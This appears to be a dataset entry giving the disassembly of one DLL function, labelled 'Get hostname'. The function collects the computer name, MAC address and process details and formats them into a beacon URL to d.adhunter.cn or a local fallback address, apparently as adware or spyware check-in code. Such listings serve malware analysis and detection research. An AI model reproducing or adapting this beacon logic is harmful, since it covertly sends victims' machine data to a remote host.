Function at 0x18000b310
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x6a0
mov qword [rsp + 0x5c0], 0xfffffffffffffffe
mov rax, qword [0x18004b0d0]
xor rax, rsp
mov qword [rsp + 0x698], rax
mov dword [rsp + 0xa0], 0
mov dword [rsp + 0x54], 0
lea rcx, [rsp + 0xb8]
call qword [sym.imp.mfc90.dll_Ordinal_316]
nop
lea rdx, [rsp + 0xb8]
xor ecx, ecx
call fcn.18000fe10
mov byte [rsp + 0x60], 0
lea rdi, [rsp + 0x61]
xor eax, eax
mov ecx, 0x3f
rep stosb byte [rdi], al
mov dword [rsp + 0x50], 0x3f
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea rcx, [rsp + 0xa8]
call qword [sym.imp.mfc90.dll_Ordinal_316]
nop
lea rcx, [rsp + 0xb0]
call qword [sym.imp.mfc90.dll_Ordinal_316]
nop
lea rcx, [0x18004c738]
call qword [sym.imp.mfc90.dll_Ordinal_888]
mov qword [rsp + 0x6b0], rax
lea rax, [rsp + 0x4e0]
mov qword [rsp + 0x4e8], rax
mov rdx, qword [rsp + 0x6b8]
mov rcx, qword [rsp + 0x4e8]
call qword [sym.imp.mfc90.dll_Ordinal_300]
mov qword [rsp + 0x5c8], rax
lea rdx, [rsp + 0xa8]
mov rcx, qword [rsp + 0x5c8]
call fcn.1800106b0
lea rcx, [rsp + 0xa8]
call qword [sym.imp.mfc90.dll_Ordinal_2973]
mov edi, eax
lea rcx, [rsp + 0xa8]
call qword [sym.imp.mfc90.dll_Ordinal_888]
mov r8d, edi
mov rdx, rax
lea rcx, [rsp + 0x4f0]
call fcn.180019110
mov qword [rsp + 0x5d0], rax
mov rax, qword [rsp + 0x5d0]
mov qword [rsp + 0x5d8], rax
mov rdx, qword [rsp + 0x5d8]
lea rcx, [rsp + 0xa8]
call qword [sym.imp.mfc90.dll_Ordinal_795]
nop
lea rcx, [rsp + 0x4f0]
call qword [sym.imp.mfc90.dll_Ordinal_589]
call fcn.180007c50
test eax, eax
je 0x18000b4a1
lea rax, str.192.168.145.1:8080
mov qword [str.d.adhunter.cn], rax
mov dword [rsp + 0xc0], 0
jmp 0x18000b4bf
mov eax, dword [rsp + 0xc0]
add eax, 1
mov dword [rsp + 0xc0], eax
cmp dword [rsp + 0xc0], 2
jge 0x18000ba0d
mov dword [rsp + 0x54], 0
jmp 0x18000b4e2
mov eax, dword [rsp + 0x54]
add eax, 1
mov dword [rsp + 0x54], eax
movsxd rax, dword [rsp + 0x54]
cmp rax, 2
jae 0x18000ba08
movsxd rcx, dword [rsp + 0x54]
lea rax, str.d.adhunter.cn
cmp qword [rax + rcx*8], 0
jne 0x18000b506
jmp 0x18000b4d7
xor ecx, ecx
call entry0
mov dword [rsp + Ordinal_1238], eax
mov byte [rsp + 0xd0], 0
lea rdi, [rsp + 0xd1]
xor eax, eax
mov ecx, reloc.mfc90.dll_Ordinal_1023
rep stosb byte [rdi], al
lea rax, [rsp + 0x4f8]
mov qword [rsp + 0x500], rax
lea rax, [rsp + 0x518]
mov qword [rsp + 0x520], rax
lea rax, [rsp + 0x538]
mov qword [rsp + 0x540], rax
mov rdx, qword [rsp + 0x6c8]
mov rcx, qword [rsp + 0x500]
call qword [sym.imp.mfc90.dll_Ordinal_300]
mov qword [rsp + 0x5e0], rax
mov rdx, qword [rsp + 0x5e0]
lea rcx, [rsp + 0x508]
call fcn.180019230
mov qword [rsp + Ordinal_1515], rax
mov rax, qword [rsp + 0x5e8]
mov qword [rsp + Ordinal_1523], rax
mov rdx, qword [rsp + 0x5f0]
lea rcx, [rsp + 0x510]
call fcn.180018960
mov qword [rsp + 0x5f8], rax
mov rax, qword [rsp + 0x5f8]
mov qword [rsp + 0x600], rax
mov rdx, qword [rsp + 0x6c0]
mov rcx, qword [rsp + 0x520]
call qword [sym.imp.mfc90.dll_Ordinal_300]
mov qword [rsp + 0x608], rax
mov rdx, qword [rsp + 0x608]
lea rcx, [rsp + 0x528]
call fcn.180019230
mov qword [rsp + 0x610], rax
mov rax, qword [rsp + 0x610]
mov qword [rsp + 0x618], rax
mov rdx, qword [rsp + 0x618]
lea rcx, [rsp + 0x530]
call fcn.180018960
mov qword [rsp + 0x620], rax
mov rax, qword [rsp + 0x620]
mov qword [rsp + 0x628], rax
mov rcx, qword [rsp + 0x540]
call fcn.180017020
mov qword [rsp + 0x630], rax
mov rdx, qword [rsp + 0x630]
lea rcx, [rsp + 0x548]
call fcn.180010880
mov qword [rsp + 0x638], rax
lea rcx, [rsp + 0xb8]
call qword [sym.imp.mfc90.dll_Ordinal_888]
mov rdi, rax
mov rcx, qword [rsp + 0x638]
call qword [sym.imp.mfc90.dll_Ordinal_888]
mov rdx, rax
movsxd rcx, dword [rsp + 0x54]
lea r8, str.d.adhunter.cn
mov rax, qword [rsp + 0x600]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x628]
mov rax, qword [rax]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdx
mov r9, qword [rsp + 0x6b0]
mov r8, qword [r8 + rcx*8]
lea rdx, str.http:___s_index.php_client_get_data_upload_hrn_record_agent_name_srmac_smac_scname_sproc_sfu_stu_s
lea rcx, [rsp + 0xd0]
call qword [sym.imp.MSVCR90.dll_sprintf]
lea rcx, [rsp + 0x548]
call qword [sym.imp.mfc90.dll_Ordinal_589]
nop
lea rcx, [rsp + 0x530]
call qword [sym.imp.mfc90.dll_Ordinal_589]
nop
lea rcx, [rsp + 0x528]
call qword [sym.imp.mfc90.dll_Ordinal_589]
nop
lea rcx, [rsp + 0x510]
call qword [sym.imp.mfc90.dll_Ordinal_589]
nop
lea rcx, [rsp + 0x508]
call qword [sym.imp.mfc90.dll_Ordinal_589]
mov byte [rsp + Ordinal_1238], 0
call fcn.180007bb0
test eax, eax
je 0x18000b785
lea r8, [rsp + 0xd0]
lea rdx, [0x18003f900]
mov rcx, qword [0x18004c3a8]
call fcn.18000f190
lea rax, [rsp + 0x550]
mov qword [rsp + 0x558], rax
lea rax, [rsp + 0x560]
mov qword [rsp + 0x568], rax
lea rax, [rsp + 0x570]
mov qword [rsp + 0x578], rax
lea rax, [rsp + 0x580]
mov qword [rsp + 0x588], rax
lea rax, [rsp + 0x590]
mov qword [rsp + 0x598], rax
lea rax, [rsp + 0x5a0]
mov qword [rsp + 0x5a8], rax
lea rdx, [0x18003934b]
mov rcx, qword [rsp + 0x568]
call qword [sym.imp.mfc90.dll_Ordinal_310]
mov qword [rsp + 0x640], rax
mov rax, qword [rsp + 0x640]
mov qword [rsp + 0x648], rax
lea rdx, [0x18003934e]
mov rcx, qword [rsp + 0x578]
call qword [sym.imp.mfc90.dll_Ordinal_310]
mov qword [rsp + 0x650], rax
mov rax, qword [rsp + 0x650]
mov qword [rsp + 0x658], rax
lea rdx, [0x18003f86c]
mov rcx, qword [rsp + 0x588]
call qword [sym.imp.mfc90.dll_Ordinal_310]
mov qword [rsp + 0x660], rax
mov rax, qword [rsp + 0x660]
mov qword [rsp + 0x668], rax
lea rdx, [rsp + 0xd0]
mov rcx, qword [rsp + 0x5a8]
call qword [sym.imp.mfc90.dll_Ordinal_310]
mov qword [rsp + 0x670], rax
mov rdx, qword [rsp + 0x670]
mov rcx, qword [rsp + 0x598]
call fcn.180010880
mov qword [rsp + 0x678], rax
mov rax, qword [rsp + 0x678]
mov qword [rsp + 0x680], rax
mov rax, qword [rsp + 0x648]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x658]
mov r8, qword [rsp + 0x668]
mov rdx, qword [rsp + 0x680]
mov rcx, qword [rsp + 0x558]
call fcn.180011c60
mov qword [rsp + 0x688], rax
mov rax, qword [rsp + 0x688]
mov qword [rsp + 0x690], rax
mov rdx, qword [rsp + 0x690]
lea rcx, [rsp + 0x4d8]
call fcn.180010880
lea rcx, [rsp + 0x4d8]
call qword [sym.imp.mfc90.dll_Ordinal_2973]
test eax, eax
jle 0x18000b9f5
mov eax, dword [rsp + 0x54]
mov dword [0x18004c38c], eax
xor r8d, r8d
lea rdx, [0x18003f918]
lea rcx, [rsp + 0x4d8]
call qword [sym.imp.mfc90.dll_Ordinal_2328]
test eax, eax
jle 0x18000b9a6
mov dword [rsp + 0x5b0], 1
lea rcx, [rsp + 0x4d8]
call qword [sym.imp.mfc90.dll_Ordinal_589]
nop
lea rcx, [rsp + 0xb0]
call qword [sym.imp.mfc90.dll_Ordinal_589]
nop
lea rcx, [rsp + 0xa8]
call qword [sym.imp.mfc90.dll_Ordinal_589]
nop
lea rcx, [rsp + 0xb8]
call qword [sym.imp.mfc90.dll_Ordinal_589]
mov eax, dword [rsp + 0x5b0]
jmp 0x18000ba4b
mov dword [rsp + 0x5b4], 0
lea rcx, [rsp + 0x4d8]
call qword [sym.imp.mfc90.dll_Ordinal_589]
nop
lea rcx, [rsp + 0xb0]
call qword [sym.imp.mfc90.dll_Ordinal_589]
nop
lea rcx, [rsp + 0xa8]
call qword [sym.imp.mfc90.dll_Ordinal_589]
nop
lea rcx, [rsp + 0xb8]
call qword [sym.imp.mfc90.dll_Ordinal_589]
mov eax, dword [rsp + 0x5b4]
jmp 0x18000ba4b
lea rcx, [rsp + 0x4d8]
call qword [sym.imp.mfc90.dll_Ordinal_589]
jmp 0x18000b4d7
jmp 0x18000b4ae
mov dword [rsp + 0x5b8], 0
lea rcx, [rsp + 0xb0]
call qword [sym.imp.mfc90.dll_Ordinal_589]
nop
lea rcx, [rsp + 0xa8]
call qword [sym.imp.mfc90.dll_Ordinal_589]
nop
lea rcx, [rsp + 0xb8]
call qword [sym.imp.mfc90.dll_Ordinal_589]
mov eax, dword [rsp + 0x5b8]
mov rcx, qword [rsp + 0x698]
xor rcx, rsp
call fcn.180032590
add rsp, 0x6a0
pop rdi
ret